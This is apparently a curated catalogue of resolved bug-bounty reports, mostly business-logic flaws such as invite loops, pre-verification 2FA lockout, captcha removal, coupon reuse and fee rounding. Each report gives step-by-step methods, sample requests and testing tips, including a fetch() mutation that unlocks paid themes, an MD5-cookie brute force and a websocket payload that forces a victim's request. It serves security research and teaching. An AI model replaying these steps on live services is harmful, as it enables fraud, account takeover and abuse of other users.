Program securitySurface webChain security@ auto-invite -> join -> leave-survey fast-tra
Root cause
Two features composed into an automated loop: emailing a program's forwarded security@ auto-issued a private-program invite, and leaving via the Leave-Program survey fast-tracked a new invite -- so the cycle self-perpetuates with no user interaction.
Method
- Find programs with security@ forwarding enabled; email the address to receive an invite
- Join, then Leave-Program + submit survey to get fast-tracked for a new invite
- Repeat to accumulate 100+ private invites
Insight — Chain benign self-service flows: an auto-grant (email->invite) plus a re-grant on exit (leave->fast-track invite) forms an infinite loop. Look for reward-granting actions that reset/replenish on a reversible action.
Real-world example
Self-issued reputation artifact via sandbox/demo program
◆ Medium
Specimen #2490953 · security · awarded · 85 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Sandbox programs allowed the program owner to issue a hacker testimonial. By owning a sandbox program (via an alt account) and resolving reports submitted by their main account, a hacker could write and publish testimonials for themselves.
Method
- Alt account creates a sandbox program and invites your main account
- Main account submits reports to the sandbox program
- Alt (program owner) resolves them and fills the 'eligible for a testimonial' form
- Main account enables 'Show this blurb on my profile' -> self-authored testimonial goes public
Insight — Sandbox/demo/test modes often reuse production-privileged actions (issuing reviews, badges, verified artifacts) without marking them as non-authoritative. Check whether anything created in a sandbox surfaces on real, trust-bearing surfaces (public profile, reputation).
Real-world example
Username/ID reuse after deletion inherits prior user's shared data
◆ Medium
Specimen #1200700 · nextcloud · $1000 · 78 votes · resolved
Program nextcloudSurface web
Root cause
Deleting a user frees their user ID for reuse, but not all shared data (chat/Talk history, etc.) is tied to a unique account identity, so a new account that acquires the same ID inherits access to the deleted user's shared conversations.
Method
- Have userB chat/share with userA, then delete userB
- Register (or get assigned) a new account with the same id 'userB'
- Open the conversation with userA and read the prior userB's message history
Insight — Where identity is keyed on a reusable username/ID rather than an immutable internal UID, test the deletion->recreation cycle: create data, delete the account, re-register the same id, and check what shared state (chats, ACLs, memberships) carries over. Recommend a used-ID blocklist as the fix tell.
Real-world example
Staging/test environment issues test charges -> paid items for free
◆ Medium
Specimen #273557 · shopify · awarded · 50 votes · resolved
Program shopifySurface web
Root cause
A publicly reachable staging subdomain (themes.shopify.io) created 'test charges' instead of real charges when installing paid themes, so any user could install/download paid themes for free through the staging environment.
Method
- Discover the staging/test subdomain of the paid feature (themes.shopify.io)
- Log in and start a paid purchase (Buy theme)
- Approve the charge - it is a test charge, so no money is taken but the theme installs/downloads
Insight — Enumerate staging/dev/test subdomains of a paid feature; test/sandbox billing modes leak into environments reachable by real users, granting paid goods for free. Also check whether staging is authenticated at all.
Real-world example
Plan seat-limit bypass via pre-sent pending invitations
◆ Medium
Specimen #3102890 · dust · none · 49 votes · resolved
Program dustSurface web
Root cause
Seat/user limit is checked only at invite-send time, not at invite-accept time. Invitations sent while under the limit remain redeemable indefinitely, so mass-inviting before hitting the cap lets unlimited users join.
Method
- On a low-tier workspace (limit 3), send invites to many emails while still under the limit (or in one burst)
- Have invitees sign up and verify -> they join even after the workspace shows 'limit reached, upgrade required'
- Repeat: every pending invite is honored regardless of current count
Insight — For any quota (seats, API keys, locations, projects), test the full lifecycle: enforce at request time but not at fulfillment/acceptance time is a classic gap. Pre-provision tokens/invites while allowed, redeem after the cap. Also compare with race-condition variant (#413759).
Real-world example
Enable 2FA on an unverified account (pre-hijack lockout)
◆ Medium
Specimen #1618021 · cloudflare · awarded · 40 votes · resolved
Program cloudflareSurface webChain Unverified signup -> enable 2FA -> victim account pre-Tag account-takeover
Root cause
2FA can be configured on an account whose email is not yet verified, so an attacker pre-registers with a victim's email and enables 2FA; when the real owner later tries to sign up/reset, they are locked out by the attacker's 2FA.
Method
- Register an account using the victim's email (no verification enforced).
- Enable 2FA on that unverified account.
- Victim can no longer log in or reset the password for their own email.
Insight — Test whether security-critical settings (2FA, password, recovery, OAuth link) can be set before email verification. Pre-verification state changes enable account pre-hijacking and denial of access to the legitimate email owner.
Real-world example
2FA enabled on unverified / squatted email account
◆ Medium
Specimen #699200 · omise · none · 40 votes · resolved
Program omiseSurface webTag account-takeover
Root cause
The app let a user enable 2FA before the account email was verified, so an attacker could register with a victim's email and lock/pre-own the account (victim cannot register or recover cleanly).
Method
- Sign up with the victim's email (no verification required)
- Enable 2FA on that unverified account
Insight — Check the ordering of security-state changes vs email verification: enabling 2FA, adding recovery, or setting a password on an unverified account is a pre-account-takeover / squatting primitive that blocks the legitimate owner and can survive their later signup attempt.
Real-world example
Stale-price abuse via never-expiring saved/abandoned carts
◆ Medium
Specimen #336131 · shopify · awarded · 39 votes · resolved
Program shopifySurface web
Root cause
Saved/abandoned-cart recovery links snapshot the item price at cart-creation time and never re-validate against the current catalog price at checkout, so a cart filled during a sale can be completed later at the old (lower) price.
Method
- Add sale-priced items to a cart with valid buyer info, then abandon it
- Later (after the sale ends / price rises), open the abandoned-cart recovery link or bookmarked cart
- Cart still shows the old sale price and checks out at that price
Insight — Test whether cart/quote/checkout re-prices against the live catalog at payment time. Snapshotted prices in saved carts, abandoned-cart emails, wishlists, or quotes that never expire let attackers lock in transient sale/error prices indefinitely.
Real-world example
Privacy setting silently reset by cross-client settings desync
◆ Medium
Specimen #712344 · x · awarded · 27 votes · resolved
Program xSurface mobile-ios
Root cause
Settings state is not consistently synchronized between clients; changing an unrelated setting in one client (mobile app) rewrites the whole settings object and clobbers a security/privacy flag (protected tweets) set in another client (web).
Method
- Set 'protected tweets' ON from Twitter Web/Lite and confirm it is protected
- Open the mobile app and toggle an unrelated setting (e.g. hashtag setting OFF->ON)
- The mobile save overwrites the account settings, flipping 'protected tweets' back OFF
- Previously-private tweets become publicly visible
Insight — On multi-client apps, test whether saving settings from client B sends a full object that omits/defaults flags set in client A. Partial-update-as-full-replace silently disables security toggles.
Real-world example
Password-reset flow silently logs user in when new password equals old
◆ Medium
Specimen #180895 · legalrobot · awarded · 12 votes · resolved
Program legalrobotSurface webTag account-takeover
Root cause
A guard added to reject resetting to the identical password instead fell through to authenticating the session, turning the reset page into a login. A valid reset link therefore grants a session rather than only permitting a password change.
Method
- Click the password-reset link from the reset email
- Submit the current (unchanged) password as the 'new' password
- App detects identical password and, instead of erroring, logs the session in
Insight — Test password-reset endpoints for state confusion: submitting the same password, an empty value, or an already-used value may drop you into an authenticated session instead of just changing the credential. Reset links should authorize a reset only, never mint a session.
Real-world example
Password-reset token not invalidated after email change
◆ Medium
Specimen #244612 · wakatime · none · 12 votes · resolved
Program wakatimeSurface webChain Old-mailbox compromise -> stale reset link -> persisteTag account-takeover
Root cause
Password-reset tokens are tied to the account but not invalidated when the account's email address changes. A reset link mailed to a now-removed old address remains valid and still resets the current account, so compromise of an old mailbox re-compromises the account after the user 'fixed' it by switching email.
Method
- Register account with email a@x.com
- Request a password reset for a@x.com but do NOT use the link
- Log back in and change the account email to b@x.com (remove a@x.com)
- Log out and open the old reset link sent to a@x.com
- Password is changed / account taken over
Insight — Reset (and email-verification/session) tokens must be invalidated on every credential- or email-change event. When testing account recovery, always check: does an outstanding reset link still work after (a) email change, (b) password change, (c) logout-everywhere? A yes on any is a takeover.
Real-world example
Client-submitted account statistics tampered to influence a human credit decision
◆ Medium
Specimen #168453 · uber · awarded · 7 votes · resolved
Program uberSurface webChain client-controlled stats -> manual credit review -> ina
Root cause
During the monthly-billing (line-of-credit) application, account usage stats (trip count, total spend) were fetched client-side and submitted back with the application, and the server trusted the submitted values that a human reviewer later relied on.
Method
- Start the monthly-billing / credit application
- Intercept the request that carries your account statistics
- Inflate the values (trips, spend) and forward; the doctored stats reach the human credit reviewer
Insight — Whenever a workflow round-trips 'facts about you' through the client (stats, entitlements, prices, eligibility), the server must re-derive them server-side. Tampering that feeds a human/manual decision is a valid business-logic bug even without a direct technical privilege gain.
Real-world example
Reopen banned account via pending email confirmation
◆ Medium
Specimen #59659 · security · awarded · 6 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Disabling/banning an account did not clear a pending email-change confirmation; the expired-token page let the user re-request confirmation for the pending address, confirm it, then use forgot-password to regain full access to the banned account.
Method
- Set a pending email change (receive confirmation token, do not use it)
- Get the account disabled/banned
- On the 'token invalid' page, re-enter the pending email to request a fresh confirmation
- Confirm the email, then use forgot-password to log back into the reactivated account (reports/bounties intact)
Insight — Account-state transitions (ban/disable/delete) must invalidate all pending flows (email changes, invites, reset tokens). Test whether a pending confirmation can resurrect a terminated account.
Real-world example
Reserved staff username prefix not enforced
◆ Low
Specimen #1770797 · security · awarded · 186 votes · resolved
Program securitySurface web
Root cause
Username validation did not reserve staff-only prefixes, allowing a normal user to register a name like h1_analyst_* used for platform roles -> impersonation.
Method
- Register/rename username to a reserved staff prefix (h1_analyst_...)
- Prefix is accepted
username=h1_analyst_refo
Insight — Probe namespace/reserved-name enforcement: staff prefixes, role-implying names, RFC2142 mailbox names, admin/system handles. Impersonation-grade names accepted for normal users are a recurring logic gap.
Real-world example
Inbound-email trust bypass via forged In-Reply-To/References Message-ID
◆ Low
Specimen #2012659 · basecamp · 250 · 121 votes · resolved
Program basecampSurface otherTag account-takeover
Root cause
Inbound email processing treats a message that references an existing thread's Message-ID as trusted (already-screened), so an attacker who knows a valid Message-ID can inject mail that skips spam detection and the Screener even when flagged as spam.
Method
- Obtain a valid Message-ID from the target's mailbox/thread
- Send a crafted email setting In-Reply-To/References to that Message-ID
- Mail lands directly in the existing thread, bypassing spam filtering and the Screener
In-Reply-To: <valid-message-id@target>
References: <valid-message-id@target>
Insight — Email systems that grant 'already-vetted' trust to thread replies can be abused if the thread key (Message-ID) is guessable/leakable; test whether referencing a known Message-ID bypasses spam/screening controls.
Real-world example
Unicode homoglyph bypass of a reserved-keyword blacklist
◆ Low
Specimen #3279441 · mozilla · USD 500 · 92 votes · resolved
Program mozillaSurface web
Root cause
A display-name blacklist compared raw code points, so a visually identical string built with a confusable character (Cherokee U+13B7 for 'M') was not recognized as the reserved word 'Mozilla' and was accepted.
Method
- Enter 'Mozilla' -> rejected as reserved
- Replace M with homoglyph U+13B7
- Submit; the name saves and displays as 'Mozilla'
U+13B7 (Cherokee Letter Mo) + 'ozilla' -> renders as Mozilla
Insight — Against any keyword/brand/username blacklist, test Unicode homoglyphs and NFKC-fold differences (Cyrillic/Greek/Cherokee look-alikes, fullwidth forms); block should normalize+confusable-map before comparing.
Real-world example
Coupon/promo code with no server-side redemption limit
◆ Low
Specimen #3426839 · aws_vdp · none · 68 votes · resolved
Program aws_vdpSurface web
Root cause
A free-shipping promo is validated only for existence/active status, never against a per-user or global usage count, so it can be reused indefinitely.
Method
- Obtain a promo code (here harvested from an unredacted disclosed report)
- Apply it at checkout -> shipping recalculated to 0
- Repeat on every future order; no expiry, no redemption log, no per-account cap
Apply promo code at checkout repeatedly -> shipping = 0 each time
Insight — Test every coupon/voucher for reuse limits: apply it on multiple orders/accounts and watch for a missing redemption counter - 'code exists && active' is not 'code unused'.
Real-world example
Zero-click login DoS by spamming 2FA resend to trip the server lockout
◆ Low
Specimen #1406495 · shopify · USD 900 · 65 votes · resolved
Program shopifySurface web
Root cause
During phone-2FA setup the target mobile number can be swapped to the victim's, then repeated 'resend code' requests hit the server-side send/attempt lockout, which then denies the victim's own 2FA/login for 24h.
Method
- As attacker, begin 2FA-via-phone setup and intercept the enroll request
- Change the mobile number to the victim's
- Log out/in and tap 'resend code' repeatedly until the server blocks further sends
- Victim can no longer receive/resend their OTP and is locked out of login
# no single payload: repeat the OTP 'resend' request for the victim's number until the send-lockout trips
Insight — OTP resend/verify throttles are a DoS surface: if the lockout is keyed to a phone/account an attacker can target, hammering resend denies the legitimate user. Combine with a number-swap during enrollment to aim it at a victim.
Real-world example
Offline (airplane-mode) bypass of a server-enforced lock state
◆ Low
Specimen #3136790 · toolsforhumanity · 300 · 64 votes · resolved
Program toolsforhumanitySurface mobile-ios
Root cause
An account locked for being underage is gated by a client screen; going offline prevents the app from re-fetching the lock state and reveals a self-service unlock path meant to be unreachable.
Method
- Set DOB to an underage value; account locks to a 'contact support' screen
- Force-close/reopen a few times, then enable airplane mode and open the app offline
- Disable airplane mode; the app now exposes a self-service 'initiate government verification' unlock instead of the support gate
Airplane mode toggled at app launch to skip the server lock-state fetch
Insight — For client-enforced states (locks, paywalls, feature flags cached at launch), test offline/airplane-mode and kill-reopen races: the app may fall back to a permissive default or skip the gate that only loads when online.
Real-world example
Fail-open security callback: swallowed exception returns SSL_TLSEXT_ERR_OK
◆ Low
Specimen #3558277 · pyca · none · 63 votes · resolved
Program pycaSurface otherTag jwt
Root cause
pyopenssl wraps the SNI (set_tlsext_servername_callback) function so any raised exception is caught by CFFI and defaults the int return to 0 = SSL_TLSEXT_ERR_OK; validation logic that crashes therefore fails OPEN and the TLS handshake completes.
Method
- Implement/observe an SNI callback that enforces an access policy
- Cause the callback to raise (malformed input, resource exhaustion, logic bug)
- The wrapper returns 0 (OK); handshake succeeds and the policy is bypassed
@wraps(callback)
def wrapper(ssl, alert, arg):
callback(Connection._reverse_mapping[ssl])
return 0 # exception in callback -> CFFI returns default 0 = OK (fail-open)
Insight — Audit any security-critical callback/hook for fail-open behavior: what does it return when the validator throws? Trigger exceptions in auth/SNI/verify callbacks; if the default return means 'allow', you bypass the control. Correct is fail-closed (return FATAL).
Real-world example
Skipping a moderation/review queue via plan upgrade timing
◆ Low
Specimen #2257374 · x · 250 · 59 votes · resolved
Program xSurface web
Root cause
Profile-picture changes go through a review queue, but upgrading the subscription plan immediately after a change re-processes the profile and bypasses the pending review, allowing unreviewed images.
Method
- Change the profile picture (normally enters a verification/review queue)
- Immediately upgrade to the premium+ plan (then optionally downgrade)
- The upgrade flow re-applies the profile without re-queuing it, so the new picture skips review; repeatable
Change profile pic, then POST plan upgrade -> profile applied without review; toggle plan to repeat
Insight — Actions guarded by an async review/approval queue can often be short-circuited by a state transition (plan change, re-verification, role switch) that re-persists the object without re-enqueuing it - test event ordering around moderation.
Real-world example
CAPTCHA token replay (server does not invalidate used token)
◆ Low
Specimen #1655629 · acronis · none · 54 votes · resolved
Program acronisSurface webTag account-takeover
Root cause
The server validates the reCAPTCHA response token but does not consume/invalidate it after first use (or does not validate it at all), so a single solved token can be replayed across unlimited requests, nullifying the CAPTCHA.
Method
- Solve the CAPTCHA once and capture the g-recaptcha-response token from the request
- Replay the same registration/action request repeatedly with that identical token
- Observe multiple successes (mass account creation / flooding)
POST /auth/register
...
g-recaptcha-response=<same_token_reused_N_times>
Insight — Whenever a CAPTCHA/anti-automation token appears, test reuse: submit the same token twice. Server-side the token must be verified AND marked consumed. This is a cheap, high-hit check on registration, contact, and coupon endpoints.
Real-world example
Fee rounding-to-zero enables free transaction flood
◆ Low
Specimen #1981441 · monero · none · 47 votes · resolved
Program moneroSurface otherChain cost-formula rounds to 0 -> free spam -> resource/stat
Root cause
Blockchain::get_dynamic_base_fee is documented to round_up and never return 0, but the implementation rounds down during integer divisions and can return min_fee_per_byte = 0; once median block weight is pushed high enough, transactions cost nothing, removing the economic rate limit.
Method
- Spam the network with transactions to raise median block weight to >= ~42,426,407
- At that point get_dynamic_base_fee returns 0
- 0-fee transactions are accepted and mined -> flood continues at zero cost indefinitely -> unbounded chain growth
# no crafted request; economic condition: drive median block weight so
# min_fee_per_byte = round_down(0.95 * block_reward * ref_weight / fee_median^2) == 0
# fix: clamp to min_fee_per_byte = 1
Insight — Economic anti-DoS controls (fees, quotas, credits) can be nullified by integer rounding-down to zero. Audit any cost formula with division for the case where the result floors to 0 - that turns a paid action into a free unlimited one. The security bug is the missing max(result,1) clamp, not crypto.
Real-world example
URL-rewrite/safety wrapper bypass via link-count threshold overflow
◆ Low
Specimen #1148548 · x · awarded · 43 votes · resolved
Program xSurface mobile-android
Root cause
The t.co link-wrapping/safety pass only processes the first N links in a message; links beyond the cap (the 51st when >50 t.co links are present) are delivered un-rewritten, so the safety redirect/interstitial is skipped.
Method
- Compose a Twitter DM containing 50+ t.co links
- Place the real target as the 51st link
- Recipient on the Android app taps the 51st link
- They are sent directly to the target without passing through t.co safety
DM body: <50 t.co links> + <attacker URL as link #51>
Insight — Any per-message processing with a fixed cap (link scanning, mention parsing, attachment AV, mail rewriting) can be overflowed: pad past the limit so your payload lands in the unprocessed tail. Test the exact off-by-cap boundary.
Real-world example
Email-verification gate enforced on one signup path but not the OAuth/API path
◆ Low
Specimen #1121896 · stripe · awarded · 35 votes · resolved
Program stripeSurface webTag oauth
Root cause
Accounts created via the classic register form are limited to test data until email verification, but accounts created through the Connect/OAuth API account-creation flow are granted full live features without the same email-verified gate.
Method
- Note the classic dashboard signup limits unverified accounts to test data
- Create an account through the Connect OAuth authorize flow (connect.stripe.com/oauth/authorize) instead
- Complete the API-driven creation and get redirected with an access token
- Log into the dashboard and observe full features (invoices, subscriptions, customers) despite unverified email
https://connect.stripe.com/oauth/authorize?response_type=code&client_id={{CLIENT_ID}}
Insight — When a security gate (email/phone verification, KYC, approval) blocks one account-creation flow, look for a second flow (OAuth/Connect, partner/API onboarding, SSO, mobile) that provisions the same account type but skips the gate.
Real-world example
Brute-force password-protected content via MD5 cookie with no rate limit on direct access
◆ Low
Specimen #905816 · automattic · awarded · 33 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
A 'password protected' gate is enforced purely by a client cookie pd-pass_<SURVEYID>=md5(password); the password-submit endpoint is rate-limited but directly loading the page with the cookie is not.
Method
- Recover the survey/content ID (leaked in page source before protection is enabled, or via the WordPress.com shortcode on the Sharing page)
- Add cookie pd-pass_<ID>=<value> and set the value as the Intruder payload position
- Use Burp Payload Processing -> Hash: MD5 to md5 each candidate password
- Run Intruder against the page load (not the submit endpoint) - no rate limit applies
Cookie: pd-pass_DA0C46C4EAECF2BA=81dc9bdb52d04dc20036dbd8313ed055
# value = md5(password); brute the value with Burp Payload Processing -> Hash MD5
Insight — Rate limiting is often applied only to the obvious 'submit' endpoint. If the gate is a hashed cookie, brute the resource-fetch path directly and use Burp Payload Processing to hash candidates client-side.
Real-world example
Negation-only protocol allowlist parses fail-open (curl --proto)
◆ Low
Specimen #2384833 · curl · none · 33 votes · resolved
Program curlSurface other
Root cause
curl's string protocol parser, given a spec that starts with -all and only ever removes protocols (never adds one), incorrectly ended up with ALL protocols enabled instead of none.
Method
- Invoke curl with a --proto spec that disables all then subtracts more, e.g. -all,-http
- Observe the transfer succeeds instead of the expected 'Protocol disabled'
curl -Ivs --proto -all,-http http://curl.se # should be blocked, actually succeeds
Insight — When a system computes an allowlist as 'deny everything then subtract', test the all-negative edge case; parsers that treat 'no positive entries' as 'default allow' fail open. Regression-bisecting to the introducing commit strengthens the report.
Real-world example
Short ERC20 calldata defeats wallet transaction decoder (hidden transfer/approve)
◆ Low
Specimen #1651429 · metamask · USD 1000 · 31 votes · resolved
Program metamaskSurface otherChain malformed calldata on phishing dapp -> silent token trans
Root cause
Contracts compiled with solc<0.5.0 don't check that calldata length matches the ABI, zero-padding missing bytes; a wallet decoder that expects exact-length calldata fails to parse the (still-valid) short call and therefore shows no recipient/amount to the user.
Method
- Deploy/target an ERC20 built with solc 0.4.x
- Craft transfer/approve calldata with the last byte(s) removed
- Wallet renders it as an opaque contract call with no amount/recipient warning; on-chain the EVM zero-pads and executes normally
0xa9059cbb + 32B(to) + 31B(value) # drop 1 byte of value; EVM pads with 00, wallet fails to decode
Insight — For any tool that decodes structured input by expected length, test truncated/over-long inputs; lenient backends (solc<0.5 ABI, permissive parsers) accept what the strict UI decoder rejects, hiding the real action from the user.
Real-world example
State-restore action skips the 2FA re-verification required for creation
◆ Low
Specimen #176979 · coinbase · USD 200 · 27 votes · resolved
Program coinbaseSurface web
Root cause
Creating a recurring payment requires a 2FA verification code, but restoring/re-confirming a deleted one is a separate endpoint that accepts a replayed confirm request without any fresh 2FA check.
Method
- With 2FA enabled, create and confirm a recurring payment (capture the confirm request)
- Delete the recurring payment
- Replay the captured confirm request
- Payment is restored without entering a verification code
POST /recurring_payments/<id>/confirm HTTP/1.1
Host: beta.coinbase.com
X-CSRF-Token: <token>
utf8=%E2%9C%93&_method=patch
Insight — Any sensitive action gated by a step-up check (2FA/OTP/password) may have sibling endpoints (restore, re-confirm, undo, resend) that reuse a prior authorization. Capture the confirm/verify request and replay it against the alternate action to test for missing re-verification.
Real-world example
Captcha bypass by removing the captcha parameter
◆ Low
Specimen #700075 · kartpay · none · 25 votes · resolved
Program kartpaySurface web
Root cause
The captcha on forgot-password is only enforced when its parameter is present; deleting the captcha field from the request entirely causes the server to process it without validating any captcha, re-enabling automation/brute force and email enumeration.
Method
- Submit forgot-password with a solved captcha, intercept the request
- Delete the captcha parameter from the body
- Forward it; the request succeeds without captcha validation
- Automate email enumeration / reset spam
POST /forgot_password
_token=...&email=test@gmail.com # captcha parameter deleted entirely, still accepted
Insight — Captcha checks often fail open: try (1) removing the parameter, (2) reusing an old token, (3) sending it blank. Server must reject any request lacking a fresh valid captcha, not just wrong ones.
Real-world example
Email verification bypass via response tampering
◆ Low
Specimen #1181253 · gsa_vdp · none · 25 votes · resolved
Program gsa_vdpSurface webTag account-takeover
Root cause
The client trusts a server response flag to decide whether an emailed verification code was correct; intercepting and flipping success:false to success:true lets registration proceed without the real code.
Method
- Start registration, enter email, request verification code
- Submit a wrong 6-digit code and intercept the response in Burp
- Change success:false to success:true in the response
- Registration continues as if verified
{"success":true}
Insight — Whenever a decision (verified/paid/authorized) is rendered client-side from a boolean in the response body, try intercepting the RESPONSE (not just the request) and flipping the flag; state that lives only in the client is not enforcement.
Real-world example
Rate-limit bypass via undocumented param found in exposed Swagger
◆ Low
Specimen #142569 · urbandictionary · none · 25 votes · resolved
Program urbandictionarySurface apiChain exposed API docs -> hidden param -> rate-limit / restr
Root cause
The vote endpoint enforces per-IP rate limiting, but an undocumented parameter (kind=1) - discovered in the publicly exposed Swagger/API docs - causes the endpoint to skip the IP restriction, allowing unlimited votes.
Method
- Find the publicly reachable API docs (e.g. /docs/index.html)
- Read the parameter list for hidden/undocumented flags
- Add the undocumented param (kind=1) to the vote request
- Vote repeatedly with no IP-based limit
http://api.urbandictionary.com/v0/vote?kind=1&direction=up&defid=94413
Insight — Exposed Swagger/OpenAPI docs frequently reveal undocumented parameters and flags that toggle server behavior or disable controls. Always fetch /docs, /swagger.json, /openapi.json and diff documented vs actually-used params.
Real-world example
Bypass a client-side eligibility gate by sending the restricted value directly
◆ Low
Specimen #422698 · chaturbate · awarded · 23 votes · resolved
Program chaturbateSurface web
Root cause
A restriction (option editable only after age verification) is enforced only in the UI; the update endpoint accepts the parameter regardless of verification state.
Method
- Start the action that exposes the setting (broadcasting)
- Edit any allowed option and intercept the update request
- Set the gated parameter (allowed_chat) to a restricted value (all/tip_recent/tip_anytime/tokens)
- Value is applied despite age not being verified
# intercepted settings update, set restricted value directly:
allowed_chat=all
Insight — 'You must verify/upgrade to change X' controls are frequently only front-end. Intercept the write and submit the restricted value - if it sticks, the gate was never server-enforced.
Real-world example
Subscribe to a restricted plan by passing its hidden plan_id directly
◆ Low
Specimen #882848 · gitlab · awarded · 23 votes · resolved
Program gitlabSurface web
Root cause
Eligibility for restricted (EDU/OSS, free) plans is enforced only by hiding them in the UI; the subscription flow accepts an arbitrary plan_id parameter without verifying the buyer qualifies.
Method
- Find plan IDs (leaked in a public project/issue)
- Log in to the customers portal
- Load /subscriptions/new?plan_id=<restricted_plan_id>&transaction=create_subscription
- Subscribe to the restricted/free plan without meeting its requirements
https://customers.gitlab.com/subscriptions/new?plan_id=2c92a0fd63afe3fd0163d87aecee230a&transaction=create_subscription
Insight — Enumerate/collect product or plan IDs and feed restricted ones straight into the purchase/subscribe endpoint. Entitlement checks are often only in the plan-selection UI, not on the create-subscription action.
Real-world example
CAPTCHA bypass by dropping g-recaptcha-response
◆ Low
Specimen #246801 · coinbase · awarded · 23 votes · resolved
Program coinbaseSurface webTag account-takeover
Root cause
The signup endpoint did not validate the g-recaptcha-response token server-side; removing the parameter entirely still succeeded, defeating anti-automation.
Method
- Solve the CAPTCHA once and capture the signup request
- Remove the g-recaptcha-response parameter (or set any value)
- Forward; account creation still succeeds
- Automate for mass account creation / username enumeration
POST /signup (with g-recaptcha-response removed)
Insight — Always test whether CAPTCHA/anti-bot tokens are actually verified: delete the token param, reuse an old token, or send an empty value. Server-side non-validation turns any CAPTCHA-gated flow into an automatable oracle (enumeration, flooding).
Real-world example
Evade a percentage fee via sub-cent rounding and split micro-payments
◆ Low
Specimen #808975 · security · none · 22 votes · resolved
Program securitySurface web
Root cause
A percentage fee (fee = award/100*20) is stored/computed at 2-decimal precision and rounded; for small awards the fee rounds to 0.00, so paying a large total as many tiny awards (0.01-0.02 each) collects near-zero total fee.
Method
- Issue a bounty/payment as a tiny amount (0.01-0.02) where fee = amount*0.20 rounds to 0.00
- Intercept the award request
- Replay it many times (Intruder null payloads) to accumulate the full amount in micro-awards
- Billing shows total fee far below the intended 20% - fee effectively evaded
POST /reports/bulk
message=&substate=bounty-award&bounty_amount=0.01&reply_action=set-bounty&report_ids%5B%5D=<report_id>&bounty_currency=USD
# repeat ~100x; fee 0.01*0.20=0.002 -> rounds to 0.00
Insight — Wherever a fee/tax/commission is a percentage rounded to fixed decimals, test the smallest chargeable unit: if the derived charge rounds to zero, splitting the total into many sub-threshold transactions evades the charge.
Real-world example
UI-only constraint not enforced server-side (GraphQL multiple captains)
◆ Low
Specimen #2067247 · sorare · USD 300 · 22 votes · resolved
Program sorareSurface graphqlTag graphql
Root cause
The 'one captain per lineup' rule was enforced only in the UI; the CreateOrUpdateSo5LineupMutation accepted captain:true on every player, granting a stacked score bonus.
Method
- Edit a lineup and confirm
- Intercept the CreateOrUpdateSo5LineupMutation GraphQL request
- Set captain:true on all players and submit
mutation CreateOrUpdateSo5LineupMutation { ... players:[{id, captain:true},{id, captain:true}, ...] }
Insight — For every UI-enforced invariant (single selection, max N, mutually exclusive flags), replay the API/GraphQL call violating it; servers frequently trust the client to enforce game/business rules.
Real-world example
Publish/activate a paid resource without purchase (no ownership check)
◆ Low
Specimen #927567 · shopify · 2000 · 21 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
The ThemePublishLegacy (onlineStoreThemePublish) GraphQL mutation publishes a theme by ID without verifying that the theme has been purchased/owned, so passing a paid theme's gid publishes and effectively unlocks it (edit/rename/download) for free.
Method
- Install a free theme and a paid theme; note the paid theme's ID from its editor URL
- Publish the free theme to capture the ThemePublishLegacy fetch request
- Replace the theme id in the request body with the paid theme's gid
- Send it; the paid theme becomes published and fully usable
fetch('https://SHOP.myshopify.com/admin/online-store/admin/api/unversioned/graphql',{method:'POST',credentials:'include',headers:{'content-type':'application/json','x-online-store-web':'1'},body:JSON.stringify({operationName:'ThemePublishLegacy',variables:{id:'gid://shopify/OnlineStoreTheme/[PAID_THEME_ID]'},query:'mutation ThemePublishLegacy($id: ID!){onlineStoreThemePublish(id:$id){theme{id}userErrors{field message}}}'})})
Insight — For mutations that act on a resource ID (publish/activate/enable/assign), test whether the resolver checks ownership/entitlement/payment state of that ID - many only check that you are authenticated, not that you own or paid for the target.
Real-world example
Negative value in tip/donation reduces order total
◆ Low
Specimen #927661 · eternal · awarded · 21 votes · resolved
Program eternalSurface web
Root cause
A 'support rider' donation amount was trusted client-side and accepted negative fractional values, decreasing the cart total at checkout.
Method
- Add items to cart, choose a tip/donation amount at checkout
- Intercept the add-donation request
- Change the amount to a negative fraction (e.g. -0.99) in all fields
- Total is reduced; order still places
support_rider_amount=-0.99
Insight — Any user-supplied monetary field (tip, donation, quantity, shipping, points) should be tested with negative, zero, and fractional values; servers often clamp the primary price but forget auxiliary amounts.
Real-world example
Collab-websocket DOM control + path-traversal forces victim POST to any endpoint
◆ Low
Specimen #837328 · quantopian · awarded · 18 votes · resolved
Program quantopianSurface webChain websocket form-update -> control victim DOM #algo-id ->Tag webhook
Root cause
A collaboration websocket 'form-update' event let one user set the value of any DOM element with a value attribute in the collaborator's page; the 'Build algorithm' button builds a POST URL from the attacker-controlled #algo-id element, and using ../ path traversal plus query params reroutes that POST to any endpoint executed by the victim.
Method
- Join collaboration with the victim
- Send a form-update websocket event setting #algo-id to a traversal path + target params
- When the victim clicks Build Algorithm, their browser POSTs to the attacker-chosen endpoint with their session
- Chain to disable login alerts, rename, delete posts, comment as victim
{"type":"form-update","element":"#algo-id","value":"/../../../../../users/update_preferences?prefs%5Bsend_login_detected_email%5D=false","clientId":"x","roomId":"..."}
Insight — Real-time collaboration channels are a cross-user injection surface: if a peer can set fields/DOM values in your page, and any client action builds a request URL from those fields, you get an attacker-directed CSRF-equivalent. Test whether URL params override body and whether ../ traversal in an ID field reaches other endpoints.
Real-world example
Email-change endpoint: flooding + registered-email enumeration oracle
◆ Low
Specimen #854793 · brave · awarded · 18 votes · resolved
Program braveSurface web
Root cause
The publisher email-change endpoint had no rate limiting (enabling confirmation-email flooding of any address) and returned distinguishable statuses (400 for an already-registered email vs 200 for a new one), acting as an account enumeration oracle.
Method
- Capture the email-change/save request (publisher[pending_email])
- Intruder over a list of candidate emails
- 200 OK = not registered, 400 = already registered (enumeration); every send also floods that inbox
POST /publishers (multipart)
publisher[pending_email]=victim@example.com
_method=patch
Insight — One weak endpoint yields two bugs: no rate limit -> email bombing of arbitrary victims, and a response-status differential (200 vs 400) -> user/email enumeration. Always diff responses for existing vs non-existing accounts on any email-accepting endpoint.
Real-world example
State restriction enforced on one endpoint but not a sibling API
◆ Low
Specimen #1543770 · reddit · USD 100 · 18 votes · resolved
Program redditSurface api
Root cause
A banned subreddit could not send user messages via the normal compose path (silently dropped), but the mod-conversations API had no equivalent ban check, so messages sent from a banned subreddit were delivered.
Method
- Ban state active on a subreddit
- Use mod.reddit.com/mail/create (mod/conversations API) selecting the banned subreddit as sender
- Message is delivered despite the ban
POST oauth.reddit.com/api/mod/conversations (from = banned subreddit)
